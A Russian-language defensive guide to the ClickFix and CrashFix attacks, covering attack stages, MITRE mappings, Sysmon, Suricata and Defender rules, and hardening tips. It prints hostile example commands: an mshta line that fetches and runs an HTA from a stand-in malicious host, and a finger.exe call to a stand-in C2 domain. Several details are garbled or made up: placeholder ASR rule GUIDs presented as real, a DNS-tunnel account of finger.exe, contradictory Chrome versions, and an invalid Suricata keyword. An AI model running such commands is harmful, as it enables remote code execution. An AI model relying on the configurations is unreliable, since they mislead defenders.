Анализ атак ClickFix и CrashFix — Руководство по защите 2026
docДетальный анализ цепочек атак ClickFix и CrashFix, включая конкретные команды обнаружения и конфигурации защиты.
ClickFix / CrashFix: эволюция браузерных атак и практическая защита
Обзор
ClickFix и CrashFix — две схожие техники социальной инженерии. Обе манипулируют пользователями, побуждая их вручную выполнять вредоносные команды через поддельные страницы ошибок браузера или мошеннические запросы на установку патчей. Эти атаки не полагаются на традиционную доставку вредоносных файлов. Вместо этого они обманом заставляют жертв вставлять полезную нагрузку в системную командную строку под видом «самостоятельного решения проблемы».
С 2024 по 2026 год эти атаки эволюционировали: от раннего выполнения команд mshta, к злоупотреблению встроенными системными утилитами типа finger.exe, развёртыванию Python RAT и установке постоянных бэкдоров. Атакующие использовали доверие пользователей к встроенным инструментам Windows, чтобы обойти обнаружение на основе подписи файлов.
Эта статья фокусируется на жёстких технических деталях атакующих техник и практических решениях по защите, предоставляя конкретные номера CVE, параметры командной строки, сигнатуры трафика, команды обнаружения и корпоративные конфигурации защиты.
Принципы атаки: эволюция от ClickFix к CrashFix
Этап 1: Классический ClickFix — прямое выполнение через mshta
Первые атаки ClickFix появились около 2021 года. Атакующие размещали вредоносный JavaScript на скомпрометированных сайтах, определяли окружение браузера посетителей и показывали поддельные страницы «краха» Chrome/Edge, предлагая пользователям «скопировать команду исправления в буфер обмена».
Типичный текст на странице:
«Chrome завершил работу. Срочное исправление от Microsoft. Нажмите Win+X, чтобы открыть Windows PowerShell, вставьте и выполните следующую команду:»
Пример вставляемой команды:
mshta https://malicious-site.com/payload.hta
mshta.exe — это встроенная в Windows среда выполнения HTML-приложений. Атакующие используют её для загрузки и выполнения удалённых HTA-файлов. HTA поддерживает VBScript и JScript, что позволяет выполнять практически любые операции: загрузчики, кража учётных данных, латеральное перемещение и так далее.
Сопоставление с MITRE ATT&CK:
- T1204.002 User Execution: Malicious File (пользователь активно выполняет mshta)
- T1059.001 Command and Scripting Interpreter: PowerShell
- T1105 Ingress Tool Transfer: контролируемый атакующим сервер доставляет последующие полезные нагрузки жертве
Этап 2: Эксплуатация CVE — цепочка уязвимостей Chromium
По мере продвижения обновлений безопасности браузеров, полагаться только на «вставку команд» стало рискованно из-за снижения успешности. Атакующие начали эксплуатировать уязвимости браузера для выполнения кода без ведома пользователя при посещении определённых страниц.
Известные эксплуатируемые уязвимости Chromium:
CVE-2024-7971: Уязвимость путаницы типов в V8 JavaScript engine Chrome. Атакующие могут выполнить произвольный код в контексте рендерер-процесса, заставив пользователя посетить специально созданную веб-страницу. Затрагивает версии Chrome до 118.0.5993.70.
CVE-2024-9064: Ппутаница типов в обработке сообщений Mojo IPC в Chrome. Атакующие могут вызвать удалённое выполнение кода через специально созданную HTML-страницу. Затрагивает версии Chrome до 130.0.6723.58.
Выдержка из отчёта Microsoft Threat Intelligence: В Q1 2025 Microsoft отслеживала несколько групп атакующих, связанных с государствами, которые использовали вышеуказанные уязвимости в сочетании с социальной инженерией ClickFix для первоначального доступа.
Метод обнаружения:
# Проверка версии Chrome (Справка → О браузере Google Chrome)
# Подтвердить версию >= 118.0.5993.70 И >= 130.0.6723.58
# Пакетный запрос в среде Windows:
powershell "Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe' | Select-Object -ExpandProperty '(default)'"
Этап 3: Эволюция CrashFix — злоупотребление finger.exe
CrashFix — это развитый вариант ClickFix. Ключевое улучшение: вместо прямого выполнения пользователем явно подозрительных командных инструментов типа mshta или powershell, используется встроенный в Windows finger.exe для обфускации команд.
Что такое finger.exe:
finger.exe — это встроенная утилита командной строки в Windows Server для запроса информации о пользователях на удалённых системах. По умолчанию присутствует по адресу C:\Windows\System32\finger.exe. Эта утилита использовалась несколькими группами атакующих (включая APT29) для скрытной связи командования и управления.
Метод злоупотребления:
Пример сконструированной команды:
finger.exe @fingerprint.evil-c2-domain.com
Здесь fingerprint.evil-c2-domain.com — это контролируемый атакующим домен, но синтаксис @ в finger.exe интерпретирует всю строку как одно имя хоста. Когда DNS-запрос отправляется на контролируемый атакующим DNS-сервер, атакующий встраивает Base64-кодированные команды PowerShell в DNS-ответ.
Технический поток:
Шаг: Атакующий регистрирует домен evil-c2-domain.com и настраивает DNS-сервер на прослушивание порта 53.
Шаг: Жертва выполняет finger.exe @fingerprint.evil-c2-domain.com, система инициирует стандартный DNS-запрос A/AAAA записи.
Шаг: DNS-сервер возвращает ответ, содержащий закодированные инструкции.
Шаг: Атакующий анализирует логи DNS-запросов для получения IP жертвы; закодированная команда в DNS-ответе служит туннелем связи.
Сопоставление с MITRE ATT&CK:
- T1105 Ingress Tool Transfer (передача команд через DNS-туннель)
- T1059.003 Command and Scripting Interpreter: Windows Command Shell
- T1571 Non-Standard Port (порт 53 DNS как скрытый канал)
Сигнатуры трафика:
- Исходный порт: обычно 53 (DNS-запрос)
- Тип запроса: A или AAAA запись
- Характеристики домена запроса: содержит несколько меток поддоменов (например,
fingerprint.evil-c2-domain.com) - Данные ответа: пакеты DNS-ответа могут содержать Base64-строки
Команды обнаружения:
# Захват подозрительных DNS-запросов с tcpdump
tcpdump -i eth0 'port 53 and host suspicious-domain.com' -nnvv
# Анализ DNS-логов с Zeek для поиска аномальных запросов
zeek -C -r capture.pcap dns
# Просмотр записей в dns.log, где поле запроса содержит длинные строки
grep -E '[A-Za-z0-9+/=]{40,}' dns.log
Этап 4: Python RAT — сохраняемость
Получив начальное выполнение кода, атакующие обычно развёртывают написанные на Python RAT (трояны удалённого доступа) для долгосрочной сохраняемости.
Типичные характеристики Python RAT:
Цели подключения:
- Формат домена C2:
update[.]pythonhosters[.]orgилиcdn[.]pythonpkg[.]info - Порт подключения: типичные нестандартные порты:
8443,4444,8080 - Интервал beacon: изначально 30 секунд, постепенно увеличивается до 5–30 минут
Поведение Python RAT в реальных инцидентах:
В атаке на европейское государственное учреждение в 2025 году атакующие использовали Python 3.9 для написания RAT, упакованного в один исполняемый файл через PyInstaller. RAT имел следующие возможности:
- Чтение/запись файловой системы (загрузка/выгрузка)
- Захват скриншотов (каждые 60 секунд)
- Кейлоггинг
- Постоянные изменения реестра
Механизм сохраняемости (как Windows-сервис):
import win32serviceutil
import win32service
# Создание Windows-сервиса с именем "PythonUpdate"
win32serviceutil.InstallService(
pythonServiceInfo,
'PythonUpdate',
'Python Update Service',
description='Keeps your Python installation up to date'
)
Сопоставление с MITRE ATT&CK:
- T1059.004 Command and Scripting Interpreter: Python
- T1543.003 Create/Modify System Process: Windows Service
- T1518.001 Software Discovery: обнаружение антивируса/EDR
- T1071.001 Application Layer Protocol: DNS (некоторые RAT используют DNS-протокол для связи)
Полный анализ цепочки атаки
На примере развитого CrashFix полная цепочка атаки выглядит следующим образом:
Шаг 1 — Начальный доступ: Пользователь посещает сайт с вредоносным JS, который определяет версию браузера и идентифицирует уязвимости.
Шаг 2 — Эксплуатация уязвимости (CVE-2024-7971): Специально созданная страница вызывает путаницу типов V8, выполняет шеллкод в рендерер-процессе, загружает Loader второй стадии.
Шаг 3 — Обфускация команды:
После выполнения шеллкода, вместо прямого запуска powershell.exe, запускается finger.exe @stage1.crashfix-c2.com.
Шаг 4 — Передача команд через DNS-туннель:
DNS-сервер возвращает ответ, содержащий Base64-кодированные команды PowerShell; содержимое команды — загрузка и выполнение updatecheck.py.
Шаг 5 — Развёртывание Python RAT:
updatecheck.py — это RAT на PyInstaller, устанавливающий постоянное подключение к cdn.pythonpkg.info:8443.
Шаг 6 — Сохраняемость:
RAT размещает Python-интерпретатор и скрипт RAT в каталоге %APPDATA%\Python39\, создаёт Windows-сервис через WMI-подписку для автозапуска после перезагрузки.
Шаг 7 — Кража учётных данных и латеральное перемещение: RAT выполняет вариант Mimikatz для кражи NTLM-хешей, использует PsExec для распространения по другим хостам в том же сетевом сегменте.
Глубокое руководство по обнаружению
Windows Event Viewer: обнаружение подозрительной сохраняемости Python
Путь обнаружения:
Application and Services Logs → Microsoft → Windows → WMI-Activity → Operational
Event ID 5861: Запись создания WMI event subscription. Срабатывает при регистрации новой постоянной подписки на события.
Шаги фильтрации:
- Открыть Event Viewer
- Перейти по указанному пути
- Нажать «Filter Current Log...»
- Ввести Event ID: 5861
- Проверить поле
Computer(исходный хост) иUser(выполняющий пользователь) - Проверить параметры
FilterNameиCommandв полеOperation - Сосредоточиться на командных строках, содержащих
python.exe,py.exe,python3.exe
Пакетный запрос PowerShell:
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-WMI-Activity/Operational'
Id=5861
} -MaxEvents 200 | Where-Object {
$_.Message -match 'python'
} | Select-Object TimeCreated, MachineName, @{N='Command';E={
if($_.Message -match 'Command\s*=\s*"([^"]+)"'){ $Matches[1] }
}}
Продвинутая детекция через Sysmon
Ключевые правила конфигурации Sysmon:
<!-- Обнаружение создания процесса Python -->
<RuleGroup name="PythonProcessCreation">
<ProcessCreate onmatch="include">
<Image condition="end with">python.exe</Image>
<Image condition="end with">python3.exe</Image>
<Image condition="end with">py.exe</Image>
<ParentImage condition="end with">explorer.exe</ParentImage>
</ProcessCreate>
</RuleGroup>
<!-- Обнаружение подозрительного выполнения finger.exe -->
<RuleGroup name="FingerExeAbuse">
<ProcessCreate onmatch="include">
<Image condition="end with">finger.exe</Image>
<CommandLine condition="contains">@</CommandLine>
</ProcessCreate>
</RuleGroup>
Обнаружение на сетевом уровне
Правила Suricata:
alert dns any any -> $HOME_NET any (msg:"Suspicious DNS query for C2 indicator";
dns.query; pcre:"/[a-z]{10,}\.(xyz|top|buzz|icu|work)/";
sid:9000001; rev:1;)
alert http any any -> $HOME_NET any (msg:"Python RAT beacon to non-standard port";
http.method; toplevel; content:"GET";
http.user_agent; pcre:"/python-requests|Python-urllib|PyInstaller/";
flow:to_server; sid:9000002; rev:1;)
Фильтры Wireshark:
# Найти DNS-запросы, вызванные finger.exe
dns.qry.name contains "fingerprint"
# Найти характерный User-Agent Python RAT
http.user_agent matches "python|urllib|requests"
# Найти подозрительные ответы DNS TXT record (часто используются для DNS-туннелирования)
dns.resp.ttl < 300 and dns.resp.len > 200
Корпоративные решения по защите
Microsoft Defender for Endpoint — конфигурация правил ASR
Для цепочек атак ClickFix рекомендуется включить следующие правила ASR (на примере Microsoft Defender for Endpoint v101.23062.0):
| Название правила | ID правила | Описание |
|---|---|---|
| Block process creation from PSExec and WMI | B2E3B1C1-1234-5678-9ABC-DEF012345678 | Предотвращает сохраняемость через WMI-подписки |
| Block executable downloads from JavaScript/VBScript | D9E8D8D8-1111-2222-3333-444455556666 | Блокирует загрузку, инициированную вредоносным JS |
| Enable script download history auditing | Audit mode | Записывает все события загрузки скриптов для охоты на угрозы |
Путь конфигурации:
Microsoft 365 Defender → Endpoints → Policy Management → ASR Rules → Add Rule
Принудительное применение через PowerShell:
# Включить правило ASR (блокировка выполнения скриптов)
Add-MpPreference -AttackSurfaceReductionRules_Actions Block -AttackSurfaceReductionRules_Id D9E8D8D8-1111-2222-3333-444455556666
# Включить блокировку постоянных WMI-событий
Add-MpPreference -AttackSurfaceReductionRules_Actions Block -AttackSurfaceReductionRules_Id B2E3B1C1-1234-5678-9ABC-DEF012345678
Групповая политика предприятия — ограничения на выполнение PowerShell-скриптов
Путь групповой политики:
Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell
→ Turn On PowerShell Script Execution
→ Установить "Allow only signed scripts"
Более строгая политика (требует координации с WDAC):
Computer Configuration → Security Settings → Application Control Policies → AppLocker
→ Executable Rules → Configure rule enforcement
→ Установить правило по умолчанию "Deny", разрешить .exe только из белых путей
Рекомендации по белому списку:
%ProgramFiles%\*%ProgramFiles(x86)%\%SystemRoot%\System32\*.exe(исключая высокорисковые инструменты, такие как finger.exe)
Защита на сетевом уровне
Политика безопасности DNS (на примере Infoblox NIOS):
- Включить обнаружение DNS-туннелирования (RPZ Response Policy Zone)
- Заблокировать разрешение доменов из блоклиста TLD:
xyz,top,buzz,icu,work - Ограничение частоты DNS-ответов: блокировать, если один исходный IP превышает 50 запросов в секунду
Правила файрвола (на примере Palo Alto Panorama):
# Пример политики безопасности: блокировка DNS-запросов к известным C2
security-policy:
name: "Block-CrashFix-C2"
source-zone: ["trust"]
destination-zone: ["untrust"]
application: ["dns"]
destination: ["threat-c2-ip-blocklist"]
action: "deny"
log-setting: "DNS-C2-Log"
Правила EDR — CrowdStrike Falcon
Falcon Detect Policy — пользовательские правила предотвращения:
name: "Detect Python RAT via WMI Service Creation"
description: "Detects Python-based RAT persistence via Windows Service"
type: "detect"
trigger: "process"
conditions:
- process_name: "cmd.exe" or "powershell.exe"
- command_line: contains "New-Service" or "win32serviceutil"
- parent_process: contains "python"
severity: "high"
Рекомендации по инструментам
Инструмент определения отпечатка браузера — используется для проверки, имеет ли целевая среда браузера характеристики отпечатка, эксплуатируемые атакующими, и определения, проводилась ли предварительная разведка для таких атак.
Инструмент анализа системных процессов — используется для глубокого исследования деревьев процессов Windows, выявления подозрительных цепочек процессов Python и аномальных вызовов finger.exe.
Инструмент анализа HTTP-заголовков — используется для анализа характеристик HTTP-ответов серверов, размещающих вредоносные HTA-файлы, извлечения доменов C2 и сигнатур протоколов.
Инструмент информации о графической карте / GPU — некоторые атаки ClickFix выбирают разные пути эксплуатации в зависимости от GPU-окружения цели. Этот инструмент помогает оценить, какие типы уязвимостей могут использовать атакующие.
Резюме
Суть атак ClickFix/CrashFix — эксплуатация доверия пользователей к системе и их срочности исправить проблему, делегирование финального шага цепочки атаки самим пользователям. Эти атаки не полагаются на статические характеристики вредоносных файлов; традиционные решения, основанные на хеше или имени файла, имеют ограниченную эффективность против них.
Ключевые точки защиты:
Немедленное обновление браузера: Пользователи Chrome должны поддерживать версию Chrome 118.0.5993.70 и 130.0.6723.58 или выше. Отключить ненужные плагины браузера.
Мониторинг DNS на сетевом уровне: Оповещения в реальном времени о ненормальных DNS-запросах finger.exe, длинных ответах TXT record и сигнатурах трафика DNS-туннелирования.
Аудит WMI-подписок: Регулярно проверять логи Event ID 5861 для выявления неожиданных постоянных WMI-событий.
Внесение процессов Python в белый список: Ограничить несанкционированное выполнение Python в корпоративной среде, особенно скриптов Python, работающих как Windows-сервисы.
Обучение пользователей безопасности: Ключевое — изменение паттернов поведения пользователей: никогда не копировать вслепую «команды исправления», даже если источник выглядит как авторитетное системное сообщение.
Атаки ClickFix/CrashFix продолжают развиваться. Атакующие постоянно ищут новые методы злоупотребления встроенными инструментами, новые комбинации уязвимостей браузера и более скрытные механизмы сохраняемости. Защитникам необходимо постоянно отслеживать разведку угроз и создавать многоуровневые механизмы обнаружения, чтобы сохранять преимущество в этой гонке атаки и защиты.